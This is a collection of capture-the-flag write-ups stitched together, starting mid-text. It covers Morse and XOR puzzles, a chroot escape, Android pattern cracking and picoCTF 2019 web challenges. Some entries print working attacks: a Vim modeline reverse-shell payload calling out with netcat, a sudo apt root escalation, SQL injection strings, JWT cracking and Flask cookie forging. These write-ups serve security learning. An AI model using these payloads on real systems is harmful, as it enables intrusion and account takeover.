b ark bark bark wo of``` Interesting. Let's clean that up in a text editor... ```woof woof bark ruff bark bark ruff woof woof bark ruff bark ruff woof woof ruff woof bark bark bark bark woof ruff woof bark bark ruff woof woof woof woof woof ruff woof woof bark ruff woof ruff bark woof woof bark woof bark ruff bark bark bark ruff woof ruff bark woof woof woof woof ruff woof bark woof bark ruff bark woof woof woof ruff woof woof woof woof woof ruff woof bark bark bark ruff woof bark bark bark bark woof ``` I've been waiting for a challenge in morse for a long time, so I immediately tested it for morse code. To be a candidate, it must have 3 different 'things' and one of those as a delineator, which can only occur once at a time. The first character of our flags is `G`, and morse `G` is `--.`. Great! We now know that `woof` = `-`, `bark` = `.`, `ruff` = delineator. Let's convert that out: ```--. .. --. . -- -....- -.. ----- --. - .--.-. ... - .---- -.-. .--- ----- -... -....-``` Next, we use an [online tool](http://www.unit-conversion.info/texttools/morse-code/) to convert that morse to the following text: ```gigem?d0gt?st1cj0b?``` We know that the first `?` must be a `-` because of the flag fomat given, and the last `?` is the same morse character, so that one is too. The middle `?` is a different morse code, though, so it must be the last letter of our charset, `@`. ```GIGEM-D0GT@ST1CJ0B-``` ~Lyell Read
For this challenge, we are given an Imgur link to a jpg image, gate.jpg, and are asked to evaluate some function. The hint states that we need to find 101 image 110 and that the flag format is riftCTF{eval}. Those who have studied Discrete Mathematics, Boolean Algebra, or worked with Logic Gates will recognize this as the truth table for the exclusive disjunction logical operator (aka xor or ⊕). For those who do not recognize the table, the challenge is still solvable as one can recognize that based on the inputs x and y, there will be some sort of output z. Result: Using the xor operator or the truth table, we can evaluate 101⊕110 to get 011. Flag: riftCTF{011}
# Geography__Category__: Misc __Points__: 304>My friend told me that she found something cool on the Internet,>but all she sent me was 11000010100011000111111111101110 and>11000001100101000011101111011111.>>She's always been a bit cryptic. She told me to "surround with >gigem{} that which can be seen from a bird's eye view"... what? Since two numbers are given and the challenge is about geography it can be deduced that those numbers represent coordinates. Latitude und longitude normally are numbers with at least one decimal place so the bitstrings are single precision floating point values. [cord.c](cord.c) takes those bitstrings and converts them into human-readable form:```-70.249863 -18.529234``` Entering those into [OpenStreetMap](https://www.openstreetmap.org/search?query=-70.249863%20-18.529234#map=6/-70.250/-18.529) unfortunately yielded nothing at first:![](./no_results.png) But after swapping the coordinates to```-18.529234 -70.249863```you get a [better result](https://www.openstreetmap.org/search?query=-18.529234%2C-70.249863):![](./results.png) The task says that something can be seen from a birds eye view but nothing can be seen yet. You have to zoom in very closely until you can see the following:![](./zoomed.png) It says "Coca-Cola Logo" and the flag is```gigem{CocaCola}```
# Not So Great Escape__Category__: Misc __Points__: 440>We've set up a chroot for you to develop your musl code in. It's bare, so install whatever you need.>>Feel free to log in with a raw TCP socket at challenges.tamuctf.com:4353.>>The password is "2ff6b0b9733a294cb0e0aeb7269dea5ae05d2a2de569e8464b5967c6c207548e" #### Overview The server sets up a remote shell in a chroot for us where we can do basically anything. Below is a snapshot of an interaction with the server which shows essential information needed later on:```sh-5.0$ nc challenges.tamuctf.com 4353Password: 2ff6b0b9733a294cb0e0aeb7269dea5ae05d2a2de569e8464b5967c6c207548e / # ls -lls -ltotal 0drwxr-xr-x 2 root root 1740 Mar 29 12:23 bindrwxr-xr-x 4 root root 100 Mar 29 12:23 devdrwxr-xr-x 19 root root 840 Mar 29 12:23 etcdrwxr-xr-x 2 root root 40 Mar 29 12:23 homedrwxr-xr-x 6 root root 320 Mar 29 12:23 libdrwxr-xr-x 5 root root 100 Mar 29 12:23 mediadrwxr-xr-x 2 root root 40 Mar 29 12:23 mntdrwxr-xr-x 2 root root 40 Mar 29 12:23 optdr-xr-xr-x 2 root root 40 Mar 29 12:23 procdrwx------ 2 root root 60 Mar 29 12:23 rootdrwxr-xr-x 2 root root 40 Mar 29 12:23 rundrwxr-xr-x 2 root root 2080 Mar 29 12:23 sbindrwxr-xr-x 2 root root 40 Mar 29 12:23 srvdrwxr-xr-x 2 root root 40 Mar 29 12:23 sysdrwxr-xr-t 2 root root 40 Mar 29 12:23 tmpdrwxr-xr-x 7 root root 140 Mar 29 12:23 usrdrwxr-xr-x 12 root root 260 Mar 29 12:23 var/ # ididuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)/ # envenvchroot_dir=/tmp/tmp.AFCIBhHOSTNAME=96e785d2213aSHLVL=3SOCAT_PEERADDR=178.6.193.66HOME=/rootSOCAT_PEERPORT=54244SOCAT_SOCKADDR=172.17.0.5version=2.10.4-r3SOCAT_VERSION=1.7.3.3SOCAT_SOCKPORT=4353arch=x86_64PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binmirror=http://mirror.math.princeton.edu/pub/alpinelinux/PWD=/SOCAT_PID=8SOCAT_PPID=1/ # exitexitsh-5.0$ ```Interesting things from the snapshot:- We are root- We have a full-blown Alpine linux setup- We know the chroot directory The objective is clear: Do a chroot escape. #### Chroot Escapes in TheoryA process has two important properties when it comes to locating files in the filesystem.- `cwd` (current working directory) which is used as the basis for relative paths- `root` which is used as the basis for absolute paths Everybody knows that when `cwd = /home` opening `asdf` would cause the operating system to open`/home/asdf`. In the same way when `root = /home` opening `/asdf` would still result in the operating system looking for `/home/asdf`. We have the view of the process on the one hand and the view of the operating system on the other hand. It starts to get interesting when the `cwd` is above the `root` like so: `cwd = /tmp/tmp.AFCIBh` and `root = /tmp/tmp.AFCIBh/some-sub-dir`. Opening `asdf` now would result in the operating system looking for `/tmp/tmp.AFCIBh/asdf`while opening `/asdf` would result in the operating system looking for `/tmp/tmp.AFCIBh/some-sub-dir/asdf`. And all that chroot() does is setting the `root` property of a process to the given path. Note that only the root user is allowed to change this property and that doing a chroot()does not affect the `cwd`. You have to change `cwd` manually with chdir(). Utilizing that knowledge we can create a chroot escape plan. #### Crafting a Chroot EscapeThe basic exploit plan is as follows: | # | Command | cwd of process | root of process ||---|--------------------|----------------------------------------|------------------------|| 0 | _Login_ | / | /tmp/tmp.AFCIBh || 1 | mkdir("subdir") | / | /tmp/tmp.AFCIBh || 2 | chroot("./subdir") | /tmp/tmp.AFCIBh | /tmp/tmp.AFCIBh/subdir || 3 | chdir("..") | /tmp | /tmp/tmp.AFCIBh/subdir || 4 | chdir("..") | / | /tmp/tmp.AFCIBh/subdir || 5 | exec("./bin/sh") | / | /tmp/tmp.AFCIBh/subdir | See [payload.c](./payload.c) for an implementation of this in C. #### Crafting an ExploitThe exploit for this challenge is:- Build a binary that implements a chroot escape like above- Convert that binary to base64- Upload it to the server- Decode it - Execute it See [exploit.py](./exploit.py) for the concrete exploit. After all that we get the flag```gigem{up_up_&_a_way_0u7}```
# Windows of Opportunity### Category: reverse### Description:Clam's a windows elitist and he just can't stand seeing all of these linux challenges! So, he decided to step in and create his [own rev challenge](windows_of_opportunity.exe) with the "superior" operating system.### Author: aplet123### Solution:Just throw up the executable into notepad and search for actf{ because the superior operating system doesn't have `strings`![notepad](notepad.png)### Flag:```actf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}```
# Locked KitKat Writeup ### zer0pts CTF 2020 - forensics 100 > We've extracted the internal disk from the Android device of the suspect. Can you find the pattern to unlock the device? Please submit the correct pattern here. ### Extract gesture.key Mount given image and find `gesture.key` which contains hashed information of locked pattern. ```sh$ mkdir tempdir$ sudo mount -o loop android.4.4.x86.img tempdir$ find tempdir/ -name gesture.key``` Now bruteforce to get the lock pattern code. I used [GestureCrack](https://github.com/KieronCraggs/GestureCrack). Below is the output. ``` The Lock Pattern code is [3, 2, 1, 5, 6, 4] For reference here is the grid (starting at 0 in the top left corner): |0|1|2| |3|4|5| |6|7|8|``` Submit the pattern code to given server, and get the flag: ```zer0pts{n0th1ng_1s_m0r3_pr4ct1c4l_th4n_brut3_f0rc1ng}```
Once the VPN connection is established, we can see that the `172.30.0.2` server exposes a service on port 4321. It is therefore on this port that we will send our files. The challenge description mentioning the use of vim, we suspect that the exploitation of a possible flaw in the text editor will allow us to execute code remotely. This is precisely what the **CVE-2019–12735** allows! The flaw resides in the way how the text editor handles the "modelines" a feature that’s enabled by default to automatically find and apply a set of custom preferences as mentioned by the creator of a file at the starting and ending lines in a document. Therefore, just opening an innocent looking specially crafted malicious file using **Vim** or **Neovim** editor could allow attackers to execute commands on Linux system and ultimately take over the target system. We need to suppose the server uses Vim before version 8.1.1365 and has the modeline option enabled, but it is easy to check it. First, we need to craft a malicious file with our payload : ```$ cat revshell.txt:!nc -nv 172.30.0.14 4444 -e /bin/sh ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="``` When this file is opened by the vulnerable Vim, if will offer us a reverse shell on the server. All we have to do is open port 4444 for listening and send the file with `cat revshell.txt | nc 172.30.0.2 4321`. ```$ nc -nlvp 4444Listening on [0.0.0.0] (family 2, port 4444)Connection from 172.30.0.2 55610 received! iduid=1000(mwazowski) gid=1000(mwazowski) groups=1000(mwazowski) ls -l /home/mwazowskitotal 12-rw-rw-r-- 1 root root 28 Mar 19 00:40 flag.txt-rw-r--r-- 1 root root 96 Mar 21 08:04 manually_installed_packages.txt-rw-rw-r-- 1 root root 342 Mar 19 00:40 note_to_self.txt cat /home/mwazowski/flag.txtgigem{ca7_1s7_t0_mak3_suRe}``` > gigem{ca7_1s7_t0_mak3_suRe} As stated above, the user owns the first flag and root owns the second one. So we need to elevate our privileges. In our home directory, we can see two other files: `manually_installed_packages.txt` and `note_to_self.txt`. ```[email protected]:~$ cat /home/mwazowski/manually_installed_packages.txtApparently my packages are out of date. ITSEC is really throwing a fit about meneeding to update since red team popped my box. I'm sending them my installed packages. I have no idea how these guys got rooton my machine, my password is like 60 characters long. The only thing I haveas nopasswd is apt, which I just use for updates anyway. [email protected]:~$ sudo -lMatching Defaults entries for mwazowski on 72db72483a28: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User mwazowski may run the following commands on 72db72483a28: (root) NOPASSWD: /usr/bin/apt``` We can see here, the user "mwazowski" is only allowed to execute the command `apt` to allow him to perform updates on the machine. At least this was the intention... If we look at the very bottom, we will notice that there is an `--option` flag that can be passed into `apt`. This allows us to set an “arbitrary configuration option”. In digging into the documentation further, I come across a series of configuration items available to the options parameter of the following kind. ```$ man apt-get[...]-o, --option Set a Configuration Option. This will set an arbitrary configuration option. The syntax is -o Foo::Bar=bar.[...]``` From here, all we need to do is run `apt update` with this `--option` flag : ```$ nc -nlvp 4444Listening on [0.0.0.0] (family 2, port 4444)Connection from 172.30.0.2 55610 received! iduid=1000(mwazowski) gid=1000(mwazowski) groups=1000(mwazowski) sudo apt update -o APT::Update::Pre-Invoke::="/bin/bash -i" iduid=0(root) gid=0(root) groups=0(root) ls -l /roottotal 4-rw-rw-r-- 1 root root 48 Mar 19 00:40 flag.txt cat /root/flag.txtgigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r}``` > gigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r}
# Warmup : Welcome to securinets CTF (188 solves) > Is this enough for you? >> Authors : KERRO & Anis_Boss main: ```c++int main(int a1, char **a2, char **a3){ size_t v3; int v5; int i; write(1, "Welcome to SECURINETS CTF\n", 0x1AuLL); read(0, s, 0x31uLL); s[strlen(s) - 1] = 0; v5 = 0; strcpy(dest, s); v3 = strlen(s); memfrob(s, v3); for ( i = 0; i <= 19; ++i ) v5 += (char)(s[i] ^ byte_201020[i]); if ( v5 ) puts(":(..."); else printf("Good job\nYou can submit with securinets{%s}\n", dest); return 0LL;}``` Solution: ```pythonflag = [ 0x46, 0x19, 0x5e, 0x0d, 0x59, 0x75, 0x5d, 0x1e, 0x58, 0x47, 0x75, 0x1b, 0x5e, 0x75, 0x5f, 0x5a, 0x75, 0x48, 0x45, 0x53, 0x1e] out = ''for i in flag: out += chr(i ^ 42)print(out)``` yields `l3t's_w4rm_1t_up_boy4`
# picoCTF 2019 Web Challenges --- ## Inspector(50) ### Problem > Kishor Balan tipped us off that the following code may need inspection: `https://2019shell1.picoctf.com/problem/61676/` ([link](https://2019shell1.picoctf.com/problem/61676/)) or http://2019shell1.picoctf.com:61676 ### Hints > How do you inspect web code on a browser?>> There's 3 parts ### Solution Visiting the website, we right click and choose to view source code, getting the first third of the flag, included as a html comment: ```html ``` The second part of the flag comes from the referenced CSS file [mycss.cs](https://2019shell1.picoctf.com/problem/61676/mycss.css): ```CSS/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */``` The last part comes from the Javascript scipt [myjs.js](https://2019shell1.picoctf.com/problem/61676/myjs.js): ```javascript/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?1638dbe7} */``` Hence combining the 3 parts gives the flag: `picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?1638dbe7}` ## dont-use-client-side(100) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/49886/` ([link](https://2019shell1.picoctf.com/problem/49886/)) or http://2019shell1.picoctf.com:49886 ### Hints > Never trust the client ### Solution Opening the website greets us with a 'login' page, requiring credentials. As referenced by the problem name, we assume that the check for the validity of the credentials is checked locally, and hence can be reversed to obtain the correct password. Checking the html source code gives us: ```html<script type="text/javascript"> function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(0, split) == 'pico') { if (checkpass.substring(split*6, split*7) == 'e2f2') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(split*4, split*5) == 'ts_p') { if (checkpass.substring(split*3, split*4) == 'lien') { if (checkpass.substring(split*5, split*6) == 'lz_e') { if (checkpass.substring(split*2, split*3) == 'no_c') { if (checkpass.substring(split*7, split*8) == '4}') { alert("Password Verified") } } } } } } } } else { alert("Incorrect password"); } }</script>``` The checkpass variable holds our input, and the each substring method in this case gets us *split*(set to 4) number of characters starting from the first argument to the method. We assemble the credentials, and hence the flag, accordingly: `picoCTF{no_clients_plz_ee2f24}` ## logon(100) ### Problem > The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? `https://2019shell1.picoctf.com/problem/32270/` ([link](https://2019shell1.picoctf.com/problem/32270/)) or http://2019shell1.picoctf.com:32270 ### Hints > Hmm it doesn't seem to check anyone's password, except for {{name}}'s? ### Solution No matter what credentials we use for the login, it successfully logs us in but doesn't give us the flag. This suggests that a cookie might be used to store a separate variable that might be preventing us from seeing the flag. Sure enough, we notice an admin cookie set to `False`. Changing this to `True` and refreshing the page gives us the flag: `picoCTF{th3_c0nsp1r4cy_l1v3s_a03e3590}` ## where are the robots(100) ### Problem > Can you find the robots? `https://2019shell1.picoctf.com/problem/21868/` ([link](https://2019shell1.picoctf.com/problem/21868/)) or http://2019shell1.picoctf.com:21868 ### Hints > What part of the website could tell you where the creator doesn't want you to look? ### Solution This challenge references [a file that gives instructions to web crawlers](https://www.robotstxt.org/robotstxt.html), called robots.txt. Visiting https://2019shell1.picoctf.com/problem/21868/robots.txt, we see ```htmlUser-agent: *Disallow: /e0779.html``` Visiting https://2019shell1.picoctf.com/problem/21868/e0779.html now, we get our flag: `picoCTF{ca1cu1at1ng_Mach1n3s_e0779}` ## Client-side-again(200) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/37886/` ([link](https://2019shell1.picoctf.com/problem/37886/)) or http://2019shell1.picoctf.com:37886 ### Hints > What is obfuscation? ### Solution Visiting the website, we are greeted by a page similar to [dont-use-client-side](#dont-use-client-side100). We thus check the source code of the website again, getting an obfuscation Javascript script: ```html<script type="text/javascript"> var _0x5a46=['9d025}','_again_3','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}</script>``` We however, notice the array at the very start, containg a few strings, including some that might be a part of the flag, such as `'picoCTF'` and `'not_this'`. Excluding the error.success/html strings, we are left with `'picoCTF{'`, `'not_this'`, `'_again_3'`, and `'9d025}'`. We try assembling these pieces, we get the flag. `picoCTF{not_this_again_39d025}` ## Open-to-admins(200) ### Problem > This secure website allows users to access the flag only if they are **admin** and if the **time** is exactly 1400. `https://2019shell1.picoctf.com/problem/21882/` ([link](https://2019shell1.picoctf.com/problem/21882/)) or http://2019shell1.picoctf.com:21882 ### Hints > Can cookies help you to get the flag? Visiting the website and clicking `Flag` tells us that we are not the admin, or it;s the incorrect time. From the challenge prompt, we know we need to be admin, and the time needs to be 1400. As hinted, we make a cookie named `Admin` with the value `True`, as seen in [logon](#logon100), and make a `Time` cookie with the value `1400`. Now clicking `Flag` gives us the flag: `picoCTF{0p3n_t0_adm1n5_b6ea8359}` ## picobrowser(200) ### Problem > This website can be rendered only by **picobrowser**, go and catch the flag! `https://2019shell1.picoctf.com/problem/37829/` ([link](https://2019shell1.picoctf.com/problem/37829/)) or http://2019shell1.picoctf.com:37829 ### Hints > You dont need to download a new web browser ### Solution Clicking `Flag` tells us that we are not picobrowser, and then gives us our current [user agent](https://www.wikiwand.com/en/User_agent): ![image-20191013130144946](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvt1ermj3130044js9.jpg) We can use an extension such as [User-Agent Switcher](https://chrome.google.com/webstore/detail/user-agent-switcher/lkmofgnohbedopheiphabfhfjgkhfcgf) on Google Chrome, to manually input our desired user agent. We use picobrowser as suggested and get the flag: `picoCTF{p1c0_s3cr3t_ag3nt_7e9c671a}` ## Irish-Name-Repo 1(300) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/47253/` ([link](https://2019shell1.picoctf.com/problem/47253/)) or http://2019shell1.picoctf.com:47253. Do you think you can log us in? Try to see if you can login! ### Hints > There doesn't seem to be many ways to interact with this, I wonder if the users are kept in a database?>> Try to think about how does the website verify your login? ### Solution The hint seems to suggest the use of [SQL injection](https://www.owasp.org/index.php/SQL_Injection), hence we start off by trying simple payloads: ```username: admin' --password: password(this field does not matter as it is commented out)``` This gives us the flag: `picoCTF{s0m3_SQL_93e76603}` ## Irish-Name-Repo 2(350) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/60775/` ([link](https://2019shell1.picoctf.com/problem/60775/)). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:60775 ### Hints > The password is being filtered. We start off by trying the same input as [Irish Name Repo 1](#irish-name-repo-1300): ```username: admin' --password: password(this field does not matter as it is commented out)``` This surprisingly gives us the flag as well! `picoCTF{m0R3_SQL_plz_015815e2}` With the hint to this challenge, I assume that Repo 1 was meant to be solved with an OR injection or something of the *like*. ## Irish-Name-Repo 3(400) ### Problem > There is a secure website running at `https://2019shell1.picoctf.com/problem/47247/` ([link](https://2019shell1.picoctf.com/problem/47247/)) or http://2019shell1.picoctf.com:47247. Try to see if you can login as admin! ### Hints > Seems like the password is encrypted. Since the password is hinted to be encrypted, we first check the page source for any signs of encryption to the input, however, do not see any. This means the encryption must be taking place server side. We want to leak the encryption method somehow, so we open [BurpSuite](https://portswigger.net/burp/communitydownload) to monitor the requests made to the site. We input some string(i.e. `abcdefghijklmnopqrstuvwxyz`) and submit the request. In BurpSuite, we notice a `debug` parameter, originally set to `0`. ![image-20191013133255579](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqv38rhfj30gw00ojrh.jpg) We change this to a `1`, and forward the request. Now in addition to the `Login failed` page, we get some debug info: ![image-20191013133400879](https://tva1.sinaimg.cn/large/006y8mN6gy1g7ws9jomqlj30z802qjrv.jpg) The 'encryption' method used is just [ROT13](https://www.wikiwand.com/en/ROT13)! We can thus craft our payloads normally, just running it through a ROT13 converter before sending it through. We utilise a simple payload that escapes the string and always evaluates to true: `' OR 1=1 --` 'Encrypting' it, we get: `' BE 1=1 --` Submitting this as the input, we get our flag: `picoCTF{3v3n_m0r3_SQL_c2c37f5e}` ## Empire 1(400) ### Problem > Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. `https://2019shell1.picoctf.com/problem/4155/` ([link](https://2019shell1.picoctf.com/problem/4155/)) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:4155 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution *TODO* ## JaWT Scratchpad(400) ### Problem > Check the admin scratchpad! `https://2019shell1.picoctf.com/problem/45158/` or http://2019shell1.picoctf.com:45158 ### Hints > What is that cookie?>> Have you heard of JWT? We first enter the website with some username, and notice that we have been issued a `jwt` cookie. This is a [JSON Web Token](https://jwt.io/introduction/). We can also [decode](https://jwt.io/#debugger) our token, where we see the payload to be: ```javascript{ "user": "john"}``` We would obviously like to change the user to admin, however, to encode this, require the secret key. Under the section `Register with your name!`, a hyperlink linking to the JohnTheRipper tool's GitHub page suggests a brute force method is required. Instead of using JohnTheRipper, I chose to use this [jwt-cracker](https://github.com/lmammino/jwt-cracker). Letting it run for a while, I get the secret, `ilovepico`. Using the debugger tool on [jwt.io](jwt.io), we get the cookie to be injected: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s` Injecting this as the cookie and refreshing the page gives us the flag: `picoCTF{jawt_was_just_what_you_thought_d571d8aa3163f61c144f6d505ef2919b}` ## Java Script Kiddie(400) ### Problem > The image link appears broken... https://2019shell1.picoctf.com/problem/10188 or http://2019shell1.picoctf.com:10188 ### Hints > This is only a JavaScript problem. ### Solution Looking at the source code of the website, we see a script that seems to be constructing our image by manipulating some values in an array named "bytes", and our input, otherwise called key in the code. ![image-20191013142822951](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqva1nu2j31qk0mk42z.jpg) We get the bytes array through the browser console: ![image-20191013143022717](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvd281zj30tu0puajk.jpg) The script seems to be doing > 1. Use the input as the key> 2. For each number in the key, convert the string to the actual number(char()-48), store it in variable `i`> 3. Get the byte value for the resultant PNG at position (i , j), by the following formula: ```javascriptfor(var j = 0; j < (bytes.length / LEN); j ++){ result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]}``` > 4. Remove all trailing zeros from the file> 5. Use the result as the source for the PNG displayed on the page Looking at the [file signature](https://www.garykessler.net/library/file_sigs.html) for a PNG file, we see that the first 8 bytes of the file have to be `89 50 4E 47 0D 0A 1A 0A`, and the trailing 8 bytes have to be `49 45 4E 44 AE 42 60 82`. We can thus write a python script to find us possible values for the first 8 digits of the key using the header, and the last 8 digits using the trailer, giving us the final key. For the first 8 digits: ```pythonbyte_list = [61,180,159,7,201,26,191,...]png_header = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]print 'First 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_header[head]: if (i-head)%16 ==0: print (i-head)/16,``` This gives us the first 8 digits - `74478291`. For the last 8 digits, the actual result might include a bunch of 0s at the end, instead of the actual trailer, as we see that the javascript script actually does work to remove these just before the image is used as a source. We thus try our luck with the ending being `00 00 00 00 00 00 00 00` first, as we notice multiple 0s in the bytes array, leading us to believe that some of these might actually be at the end. We get a list of possible numbers for the last 8 digits of the key with this script: ```pythoncount = 0png_trailer = [0,0,0,0,0,0,0,0]print ''print 'Possibilities for the last 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_trailer[head]: if (i-head-8)%16 ==0 and (i-head-8)/16<10: print (i-head+1)/16, print 'Digit '+ str(count) count += 1``` We then use the following to iterate through the combination possibilities: ```pythonfirst = ['0']second = ['8','9']third = ['0','1','2']fourth = ['1','3','4']fifth = ['3','5','6']sixth = ['2','4']seventh = ['9']eighth = ['6']arr =[first,second,third,fourth,fifth,sixth, seventh,eighth]trailer_combi = list(itertools.product(*arr)) header = '74478291'count=0 print '\n\nPossible keys, check output files:'for possible_tail in trailer_combi: key = header+''.join(possible_tail) result=[0]*688 for i in xrange(16): shifter = int(key[i]) for j in xrange(43): result[(j * 16) + i] = byte_list[(((j + shifter) * 16) % 688) + i] while not result[-1]: result.pop() if result[-8:] == png_trailer: print key f = open('output'+str(count), 'wb') f.write(bytearray(result)) count +=1``` We use the command `pngcheck output*`, and notice that `output0` gives OK. We open it and see a qr code, whcih we use `zbarimg` to decode to get the flag: `picoCTF{9e627a851b332d57435b6c32d7c2d4af}` ## Empire2(450) ### Problem > Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: `https://2019shell1.picoctf.com/problem/39830/` ([link](https://2019shell1.picoctf.com/problem/39830/)), can you help us find it? or http://2019shell1.picoctf.com:39830 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution We create an account and log in, noticing that there is a flask session cookie. [Decoding](https://www.kirsle.net/wizards/flask-session.cgi) the cookie gives us: ```javascript{ "_fresh": true, "_id": "8cd7ed88b8f2634ebe13cbb6c321c3090c11254effbb99924bf9037639c9fda127643b8e1c4ba5257fce7a193639ae2f5e2911ece327e48e43b386ef65618709", "csrf_token": "bf1d1303f409590730443f12541c77cdb97811e8", "dark_secret": "picoCTF{its_a_me_your_flag3f43252e}", "user_id": "3"}``` The cookie includes the flag: `picoCTF{its_a_me_your_flag3f43252e}` ## Java Script Kiddie 2(450) ### Problem > The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/21890 or http://2019shell1.picoctf.com:21890 ### Hints > This is only a JavaScript problem. ### Solution *TODO* but extremely similar to [JS Kiddie](#java-script-kiddie400). It is now a 32 digit key, however, only alternate digits matter so code similar to [JS Kiddie](#java-script-kiddie400) can be used here to get the results QR code. Decoding it gives the flag: `picoCTF{e1f443bfe40e958050e0d74aec4daa48}` ## cereal hacker 1(450) ### Problem > Login as admin. https://2019shell1.picoctf.com/problem/47283/ or http://2019shell1.picoctf.com:47283 ### Solution *TODO*, but is a simple cookie SQLi, with initial login as guest/guest. ## Empire3(500) ### Problem > Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? `https://2019shell1.picoctf.com/problem/47271/` ([link](https://2019shell1.picoctf.com/problem/47271/)) or http://2019shell1.picoctf.com:47271 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution Similarly to [Empire2](#empire2450), we can decode the cookie, and we see that we now need to edit the cookie to user id 1 or 2, both of which seem to be admin. However, to encrypt the data back into a usable cookie, we need to sign it with a secret. Going into the `Add a Todo` page and inputting `{{config}}`, we can see all the items under the flask configuration of the website. This utilises a [Server Side Template Injection(SSTI)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection), specifically a vulnerability in the Jinja2 template that Flask uses. Now viewing `Your Todos`, we get the `secret_key`, `'11e524344575850af46c19681f9baa0d'`. Now we can use a [flask cookie encoder](https://github.com/Paradoxis/Flask-Unsign) to generate our desired cookie. ```shellflask-unsign --sign --cookie "{'_fresh': True, '_id': 'da00c2f44206c588ee050cd3e467e96d1ccfbd7f121c497442c70e7e7ad0cd08c1f7c8e967301b5beb1740d0c35dc5cc9ff421d0c0914a30a91364c5e35bc294', 'csrf_token': 'ab946d3f256cc7eafed0821f8a70aa18c63f620b', 'user_id': '2'}" --secret '11e524344575850af46c19681f9baa0d'``` Injecting the output as the cookie and going into `Your Todos`, we get the flag: `picoCTF{cookies_are_a_sometimes_food_404e643b}` ## cereal hacker 2(500) ### Problem >Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195 ### Solution *TODO*, but was essentially using a PHP filter wrapper to leak source code, get credentials to a mySQL server running on the picoCTF shell localhost, logging in, and doing a blind SQLi to get admin's password, which was also the flag Flag: `picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}`
